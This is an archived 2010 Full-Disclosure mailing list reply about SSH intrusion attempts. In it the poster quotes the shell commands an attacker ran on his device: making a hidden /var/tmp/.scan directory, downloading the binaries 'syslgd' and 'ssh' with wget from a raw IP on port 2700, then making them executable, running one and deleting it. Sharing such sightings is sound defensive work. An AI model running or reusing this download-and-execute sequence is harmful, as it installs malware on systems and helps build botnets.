full-disclosure - Re: SSH scans, i caught one

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <4CE6810C.80804@obit.nl>
Date: Fri, 19 Nov 2010 14:52:12 +0100
From: Marco van Berkum <marco@...t.nl>
To: Julien Reveret <shaddai@...8.org>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: SSH scans, i caught one

On 11/19/2010 02:35 PM, Julien Reveret wrote:

> Maybe it's a fork from this old botnet: http://dronebl.org/blog/8  ?
> I haven't seen much routers with ARM CPUs whereas the number of SOHO
> routers based on MIPS architecture seems to be high.

Interesting...
 From the first look of it this old botnet is way more advanced.
At least the installprocess is. the only thing the 'hacker' tried
to infect my Koyoney was:

cd /var/tmp;
mkdir .scan;
wget http://93.184.100.76:2700/pwn/syslgd;
wget http://93.184.100.76:2700/pwn/ssh;chmod u+x syslgd ssh;./syslgd;
rm syslgd;

Twice now btw, just had another ssh login from another IP that did the 
exact same thing.

Grtz,
Marco van Berkum

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/